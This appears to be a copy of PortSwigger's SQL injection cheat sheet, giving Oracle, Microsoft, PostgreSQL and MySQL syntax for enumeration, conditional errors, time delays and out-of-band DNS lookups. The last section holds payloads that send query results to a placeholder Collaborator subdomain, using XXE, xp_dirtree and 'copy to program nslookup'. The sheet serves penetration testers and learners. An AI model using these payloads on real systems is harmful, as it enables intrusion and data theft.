# Portswigger

### String concatenation <a href="#string-concatenation" id="string-concatenation"></a>

```
#Oracle
'foo'||'bar'

#Microsoft
'foo'+'bar'

#PostgreSQL
'foo'||'bar'

#MySQL
'foo' 'bar' [Note the space between the two strings]
CONCAT('foo','bar')
```

### Substring <a href="#substring" id="substring"></a>

```markup
#Oracle 	
SUBSTR('foobar', 4, 2)

#Microsoft 	
SUBSTRING('foobar', 4, 2)

#PostgreSQL 	
SUBSTRING('foobar', 4, 2)

#MySQL 	
SUBSTRING('foobar', 4, 2) 
```

### Comments <a href="#comments" id="comments"></a>

```markup
#Oracle 	
--comment

#Microsoft 	
--comment
/*comment*/

#PostgreSQL
--comment
/*comment*/

#MySQL 	
#comment
-- comment [Note the space after the double dash]
/*comment*/
```

### Database version <a href="#database-version" id="database-version"></a>

```
#Oracle 	
SELECT banner FROM v$version
SELECT version FROM v$instance

#Microsoft 	
SELECT @@version

#PostgreSQL 	
SELECT version()

#MySQL 	
SELECT @@version 
```

### Database contents <a href="#database-contents" id="database-contents"></a>

```
#Oracle 	
SELECT TABLE_NAME FROM all_tables
SELECT COLUMN_NAME FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

#Microsoft 	
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

#PostgreSQL 	
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

#MySQL 	
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
```

### Conditional errors <a href="#conditional-errors" id="conditional-errors"></a>

```
#Oracle 	
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual

#Microsoft 	
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END

#PostgreSQL 	
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END

#MySQL 	
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') 
```

### Batched (or stacked) queries <a href="#batched-or-stacked-queries" id="batched-or-stacked-queries"></a>

```
#Oracle 	
Does not support batched queries.

#Microsoft 	
QUERY-1-HERE; QUERY-2-HERE

#PostgreSQL 	
QUERY-1-HERE; QUERY-2-HERE

#MySQL 	
QUERY-1-HERE; QUERY-2-HERE 
```

{% hint style="info" %}
With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.
{% endhint %}

### Time delays <a href="#time-delays" id="time-delays"></a>

```
#Oracle 	
dbms_pipe.receive_message(('a'),10)

#Microsoft 	
WAITFOR DELAY '0:0:10'

#PostgreSQL 	
SELECT pg_sleep(10)

#MySQL 	
SELECT sleep(10) 
```

### Conditional time delays <a href="#conditional-time-delays" id="conditional-time-delays"></a>

```
#Oracle 	
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual

#Microsoft 	
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'

#PostgreSQL 	
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END

#MySQL 	
SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a') 
```

### DNS lookup <a href="#dns-lookup" id="dns-lookup"></a>

> **You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use** [**Burp Collaborator client**](https://portswigger.net/burp/documentation/desktop/tools/collaborator-client) **to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred**

```
#Oracle 	
The following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

The following technique works on fully patched Oracle installations, but requires elevated privileges:
SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')

#Microsoft 	
exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'

#PostgreSQL 	
copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'

#MySQL 	
The following techniques work on Windows only:
LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a')
SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'
```

### DNS lookup with data exfiltration <a href="#dns-lookup-with-data-exfiltration" id="dns-lookup-with-data-exfiltration"></a>

```
#Oracle 	
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

#Microsoft 	
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"')

#PostgreSQL 	
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();

#MySQL 	The following technique works on Windows only:
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'
```

##
